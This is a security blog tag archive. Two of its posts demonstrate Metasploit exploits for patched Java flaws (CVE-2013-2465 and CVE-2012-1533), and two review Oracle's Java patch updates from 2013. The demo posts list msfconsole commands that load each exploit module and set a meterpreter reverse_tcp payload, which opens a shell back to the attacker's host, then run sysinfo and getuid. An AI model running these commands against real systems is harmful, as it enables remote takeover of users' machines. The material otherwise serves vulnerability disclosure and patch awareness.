Tag Archives: Java SE 6

CVE-2013-2465 Java storeImageArray Vulnerability Metasploit Demo

Exploits, Metasploit, , , , , , ,

Timeline :

Vulnerability discovered and reported to Packet Storm by Name Withheld
Vulnerability corrected by vendor the 2013-06-18
PoC provided by Packet Storm the 2013-08-12
Metasploit PoC provided the 2013-08-19

PoC provided by :

Name Withheld
sinn3r
juan vazquez

Reference(s) :

CVE-2013-2465
OSVDB-96269
Packet Storm Exploit 2013-0811-1
Oracle Java SE Critical Patch Update Advisory – June 2013

Affected version(s) :

Oracle Java SE 7 Update 21 and before
Oracle Java SE 6 Update 45 and before

Tested on Windows XP Pro SP3 with :

Java SE 7 Update 17

Description :

This module abuses an Invalid Array Indexing Vulnerability on the static function storeImageArray() function in order to cause a memory corruption and escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn’t bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems.

Commands :

use exploit/multi/browser/java_storeimagearray
set RHOST 192.168.0.20
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.20
exploit

sysinfo
getuid

Oracle Java Critical Patch Update June 2013 Review

Vulnerability Management, , , , ,

Oracle has provide his Java Critical Patch Update (CPU) for June 2013 who has been released on Tuesday, June 18. On the 40 security vulnerabilities fixed in this CPU, 37 of them may be remotely exploitable. The highest CVSS Base Score for vulnerabilities in this CPU is 10.0.

As you may know Oracle is using CVSS 2.0 (Common Vulnerability Scoring System) in order to score the reported vulnerabilities. But as you also may know security researchers disagree with the usage of CVSS by Oracle. Oracle play with CVSS score by creating a “Partial+” impact rating how don’t exist in CVSS 2.0, and by interpreting the “Complete” rating in a different way than defined in CVSS 2.0.

Affected products are:

  • JDK and JRE 7 Update 21 and earlier
  • JDK and JRE 6 Update 45 and earlier
  • JDK and JRE 5.0 Update 45 and earlier
  • JavaFX 2.2.21 and earlier

11 of the vulnerabilities have a CVSS base score of 10.0, 20 of the vulnerabilities have a high CVSS base score (CVSS => 7.0), 18 of the vulnerabilities have a medium CVSS base score (CVSS >= 4.0 < 7.0) and 2 of the vulnerabilities has a low CVSS base score (CVSS < 4.0). Also 33 of the vulnerabilities affects Java SE 6 and 38 of the vulnerabilities are affecting Java SE 7.

CVE-2012-1533 Oracle Java Web Start Vulnerability Metasploit Demo

Exploits, Metasploit, , ,

Timeline :

Vulnerability fixed by Oracle the 2012-10-16
Details on the vulnerability provided by Rh0 the 2013-06-09
Metasploit PoC provided the 2013-06-12

PoC provided by :

Rh0

Reference(s) :

CVE-2012-1533
OSVDB-86348
BID-56046
Oracle Java SE Critical Patch Update Advisory – October 2012
Rh0 Pastebin

Affected version(s) :

JSE 7 Update 7 and before
JSE 6 Update 35 and before

Tested on Windows XP Pro with :

JSE 7 Update 7

Description :

This module exploits a flaw in the Web Start component of the Oracle Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JSE 6 Update 35 and before, and JSE 7 Update 7 and before. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

Commands :

use exploit/windows/browser/java_ws_double_quote
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

Oracle Java Critical Patch Update April 2013 Review

Vulnerability Management, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Oracle has provide his Java Critical Patch Update (CPU) for April 2013 who has been released on Tuesday, April 16. On the 42 security vulnerabilities fixed in this CPU, 39 of them may be remotely exploitable. The highest CVSS Base Score for vulnerabilities in this CPU is 10.0.

This update fix the vulnerabilities exploited by James Forshaw (tyranid), Joshua J. Drake and VUPEN Security during Pwn20wn 2013. But this update is also fixing vulnerabilities reported by Adam Gowdiak of Security Explorations and other security researchers.

As you may know Oracle is using CVSS 2.0 (Common Vulnerability Scoring System) in order to score the reported vulnerabilities. But as you also may know security researchers disagree with the usage of CVSS by Oracle. Oracle play with CVSS score by creating a “Partial+” impact rating how don’t exist in CVSS 2.0, and by interpreting the “Complete” rating in a different way than defined in CVSS 2.0.

Affected products are:

  • JDK and JRE 7 Update 17 and earlier
  • JDK and JRE 6 Update 43 and earlier
  • JDK and JRE 5.0 Update 41 and earlier
  • JavaFX 2.2.7 and earlier

Proposed updates are:

  • JDK and JRE 7 Update 21
  • JDK and JRE 6 Update 45
  • JDK and JRE 5.0 Update 43
  • JavaFX 2.2.21

19 (45,24%) of the vulnerabilities have a CVSS base score of 10.0, 28 (66,67%) of the vulnerabilities have a high CVSS base score (CVSS => 7.0), 13 (30,95%) of the vulnerabilities have a medium CVSS base score (CVSS >= 4.0 < 7.0) and 1 (2,38%) of the vulnerabilities has a low CVSS base score (CVSS < 4.0). Also 25 (59,52%) of the vulnerabilities affects Java SE 6 and 42 (100%) of the vulnerabilities are affecting Java SE 7.

Also some modifications have been done in the Security Levels provided by Oracle. Previously five levels were existing (Very-High, High, Medium, Low and Custom), in the new provided version only three levels are still existing (Very-High, High and Medium).

Oracle-Java-Update-21-Security-Levels

 

But, there is always a but with Oracle, they don’t seem to have enable, by default, the check for revocation using Certificate Revocation Lists (CRLs) despite that some bad guys are using valid stollen and revoked certificates to sign malware’s.

Oracle-Java-Update-21-CRLs-Checks

So we advise you to update asap, enable the CRL check, if you still have Oracle Java plug-in installed !